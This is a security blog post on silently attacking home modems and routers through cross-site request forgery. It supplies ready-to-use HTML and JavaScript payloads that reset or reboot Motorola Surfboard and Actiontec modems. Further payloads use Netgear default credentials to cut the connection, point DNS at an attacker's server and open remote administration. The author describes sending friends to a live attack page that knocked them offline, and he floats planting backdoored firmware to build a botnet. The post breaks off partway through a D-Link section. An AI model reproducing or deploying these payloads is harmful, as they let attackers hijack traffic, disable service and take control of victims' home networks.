{"id":951,"date":"2015-01-17T08:24:32","date_gmt":"2015-01-17T08:24:32","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=951"},"modified":"2015-01-17T08:24:32","modified_gmt":"2015-01-17T08:24:32","slug":"owning_modems_and_routers_silently","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2015\/01\/owning_modems_and_routers_silently\/","title":{"rendered":"Owning Modems And Routers Silently"},"content":{"rendered":"<h3>\nModems<br \/>\n<\/h3>\n<p>Do you have cable internet? Own a surfboard modem? Since most of my buddies in AZ do, I sent them to <a href=\"http:\/\/gironsec.com\/js\/modem_fun.html\">this page<\/a> and to my amusement, they got knocked off the net for a few minutes. How? Javascript. Specifically a CSRF in the Motorolla Surfboard. <\/p>\n<p>The Surfboard cable modem offers little in functionality besides rebooting unless of course I wanted to be malicious and remove all settings on the cable modem and essentially turn it into a door stop until the thing can be activated again by the ISP.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/11\/cm_fun0.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/11\/cm_fun0.png\" alt=\"cm_fun0\" width=\"368\" height=\"406\" class=\"alignnone size-full wp-image-955\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/11\/cm_fun0.png 736w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/11\/cm_fun0-271x300.png 271w\" sizes=\"(max-width: 368px) 100vw, 368px\" \/><\/a><br \/>\nBut that would be a real dick move. <\/p>\n<p>Why does this attack work? First off, its unauthenticated so anyone can do this provided they&#8217;re on the local network. XSS comes in handy for when you want the victim to do something \/ visit somewhere. Since the victim is the one doing the running the script and not me, they&#8217;re already on the local network. <\/p>\n<p>How does the code work? We just post the data using some html and javascript:<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;html&gt;<\/span>\r\nAYY LMAO Surfboard\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">var<\/span> x;\r\n<span style=\"color: #000080; font-weight: bold\">for<\/span>(x=<span style=\"color: #0000FF\">0<\/span>;x&lt;<span style=\"color: #0000FF\">255<\/span>;x++)\r\n{\r\ndocument.write(<span style=\"color: #0000FF\">&quot;&lt;iframe src=&#39;http:\/\/192.168.&quot;<\/span> + x + <span style=\"color: #0000FF\">&quot;.1\/reset.htm&#39; width=&#39;3&#39; height=&#39;5&#39;&gt;&lt;\/iframe&gt;&quot;<\/span>);\r\n}\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/html&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>What about CenturyLink? I got your back here for their modern actiontek&#8217;s.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;html&gt;<\/span>\r\nActiontec from Centurylink\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">var<\/span> x;\r\n<span style=\"color: #000080; font-weight: bold\">for<\/span>(x=<span style=\"color: #0000FF\">0<\/span>;x&lt;<span style=\"color: #0000FF\">255<\/span>;x++)\r\n{\r\ndocument.write(<span style=\"color: #0000FF\">&quot;&lt;iframe src=&#39;http:\/\/192.168.&quot;<\/span> + x + <span style=\"color: #0000FF\">&quot;.1\/rebootinfo.html&#39; width=&#39;3&#39; height=&#39;5&#39;&gt;&lt;\/iframe&gt;&quot;<\/span>);\r\n}\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/html&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Am I done with modems? NO! There&#8217;s 1 more gem to go over!<\/p>\n<p>I was rummaging through my old stuff and found an old DSL modem. Yet another actiontek from Qwest internet (now known as CentruryLink). <\/p>\n<p>Just booting the thing up and browsing to the setup page I found this:<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2-300x176.png\" alt=\"actiontek_gt701-wg_2\" width=\"300\" height=\"176\" class=\"alignnone size-medium wp-image-1000\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2-300x176.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2-1024x600.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_2.png 1842w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>File download vulnerability. I used it to read the ELF bin inside. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1-300x211.png\" alt=\"actiontek_gt701-wg_1\" width=\"300\" height=\"211\" class=\"alignnone size-medium wp-image-999\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1-300x211.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1-1024x720.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_1.png 1178w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nA little peek in IDA told 2 things &#8211; Linux and MIPS. <\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23-300x141.png\" alt=\"actiontek_gt701-wg_23\" width=\"300\" height=\"141\" class=\"alignnone size-medium wp-image-1001\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23-300x141.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23-1024x482.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/actiontek_gt701-wg_23.png 1346w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Using the strings I was able to google a little more info on the thing. I came across<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_cli.pdf\" target=\"_blank\">cm_cli<\/a> from RouterTech.org. Thanks to the docs, I was able to see the commands supported by this binary that are processed by the app which I can leverage using javascript \/ html.<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-style: italic\">&lt;!-- reboot --&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;body<\/span> <span style=\"color: #FF0000\">onload=<\/span><span style=\"color: #0000FF\">&quot;setTimeout(function(){document.forms[0].submit();},5000);&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;form1&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.2.1\/cgi-bin\/webcm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\t\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login:command\/password&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;admin&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;logic:command\/reboot&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;1&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/body&gt;<\/span>\r\n<span style=\"color: #008800; font-style: italic\">&lt;!-- disconnect from net --&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;body<\/span> <span style=\"color: #FF0000\">onload=<\/span><span style=\"color: #0000FF\">&quot;setTimeout(function(){document.forms[0].submit();},5000);&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;form1&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.2.1\/cgi-bin\/webcm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\t\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login:command\/password&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;admin&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;connection0:settings\/cmd_connect&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;1&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;var:state&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;0&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/body&gt;<\/span>\r\n<span style=\"color: #008800; font-style: italic\">&lt;!-- disable net --&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;body<\/span> <span style=\"color: #FF0000\">onload=<\/span><span style=\"color: #0000FF\">&quot;setTimeout(function(){document.forms[0].submit();},5000);&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;form1&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;post&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/192.168.2.1\/cgi-bin\/webcm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\t\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;login:command\/password&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;admin&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;connection0:settings\/enabled&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;0&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/body&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Just insert the code into an iframe or web page and wait. <\/p>\n<h3>\nRouters<br \/>\n<\/h3>\n<p>What if I wanted to attack people&#8217;s routers instead of the modem? Most consumer routers are at the very least password protected, but for the most part, they use the out of the box defaults. Because who sets the password these days right? Not my dad!<\/p>\n<p>So how would you attack them?  My netgear modem for example uses HTTP Basic auth and out of the box, the default username \/ password combo is admin:admin. <\/p>\n<p>Now what about that reboot?<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun04.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun04-300x234.png\" alt=\"cm_fun04\" width=\"300\" height=\"234\" class=\"alignnone size-medium wp-image-1018\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun04-300x234.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun04.png 790w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><br \/>\nPeering at the source code of the page, we need a few variables to POST, otherwise this won&#8217;t work.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun03.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun03-300x259.png\" alt=\"cm_fun03\" width=\"300\" height=\"259\" class=\"alignnone size-medium wp-image-1017\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun03-300x259.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/cm_fun03.png 814w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>So 2 values need to be posted to the URI \/apply.cgi?\/reboot_waiting.htm.<br \/>\nname=&#8221;yes&#8221; value=&#8221;Yes&#8221; and name=&#8221;submit_flag&#8221; value=&#8221;reboot&#8221;<\/p>\n<p>So we do something like so:<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;http:\/\/admin:admin@192.168.1.1\/apply.cgi?\/reboot_waiting.htm&quot;<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;POST&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;submit_flag&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;reboot&quot;<\/span> <span style=\"color: #000080; font-weight: bold\">\/&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;yes&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Yes&quot;<\/span> <span style=\"color: #000080; font-weight: bold\">\/&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Firefox will alert you when you&#8217;re about to login some place using this method with javascript, but not with an iframe. IE doesn&#8217;t.<br \/>\nThis should reboot a netgear router assuming they didn&#8217;t change their password defaults. <\/p>\n<p>Rebooting the router is only the tip of the iceberg. What if I coded this to change the user&#8217;s DNS servers to my own? Or better yet, enabled remote management? The real fun comes to mind however when we consider the possibility of passing a custom firmware image, like a hacked OpenWRT OS that calls home to daddy and allows for a botnet. All from visiting a compromised site, or better yet, some sort of reflective XSS somewhere. Why attempt to install malware on the victim&#8217;s PC when I can own everyone using the router instead?<\/p>\n<p>Code time! Let&#8217;s dive right in.<\/p>\n<p>Change DNS?<\/p>\n<p>Sure<\/p>\n<p><!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;POST&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;\/apply.cgi?\/BAS_update.htm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;submit_flag&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;ether&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;ether_dnsaddr1&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;your_evil_dns_here&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;ether_dnsaddr2&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;your_evil_dns_here&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;ether_dnsaddr3&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;your_evil_dns_here&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;Apply&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Apply&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;\/form&gt;<\/span>\t\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Disable the net? Sure.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;POST&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;\/apply.cgi?\/RST_conn_status.htm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;submit_flag&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;connect_status&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;endis_connect&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;connect&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Release&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Enable remote administration? Why not.<br \/>\n<!-- HTML generated using hilite.me --><\/p>\n<div style=\"background: #ffffff; overflow:auto;width:auto;border:solid gray;border-width:.1em .1em .1em .8em;padding:.2em .6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #000080; font-weight: bold\">&lt;form<\/span> <span style=\"color: #FF0000\">method=<\/span><span style=\"color: #0000FF\">&quot;POST&quot;<\/span> <span style=\"color: #FF0000\">action=<\/span><span style=\"color: #0000FF\">&quot;\/apply.cgi?\/FW_remote.htm&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;submit_flag&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;remote&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;Apply&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;Apply&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;http_rmport&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;8080&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;input<\/span> <span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;hidden&quot;<\/span> <span style=\"color: #FF0000\">name=<\/span><span style=\"color: #0000FF\">&quot;remote_mg_enable&quot;<\/span> <span style=\"color: #FF0000\">value=<\/span><span style=\"color: #0000FF\">&quot;1&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>\r\n<span style=\"color: #000080; font-weight: bold\">&lt;script <\/span><span style=\"color: #FF0000\">type=<\/span><span style=\"color: #0000FF\">&quot;text\/javascript&quot;<\/span><span style=\"color: #000080; font-weight: bold\">&gt;<\/span>document.forms[<span style=\"color: #0000FF\">0<\/span>].submit();<span style=\"color: #000080; font-weight: bold\">&lt;\/script&gt;<\/span>\r\n<\/pre>\n<\/div>\n<p>Not too shabby right?<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1419914417132.jpg\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1419914417132.jpg\" alt=\"1419914417132\" width=\"640\" height=\"480\" class=\"alignnone size-full wp-image-1021\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1419914417132.jpg 640w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/1419914417132-300x225.jpg 300w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/a><\/p>\n<p>Again digging through through my stuff I found a Dlink WBR-1310 router.<br \/>\n<a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/WBR-1310_front20131014150156.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/WBR-1310_front20131014150156.png\" alt=\"WBR-1310_front20131014150156\" width=\"380\" height=\"290\" class=\"alignnone size-full wp-image-1003\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/WBR-1310_front20131014150156.png 380w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2015\/01\/WBR-1310_front20131014150156-300x229.png 300w\" 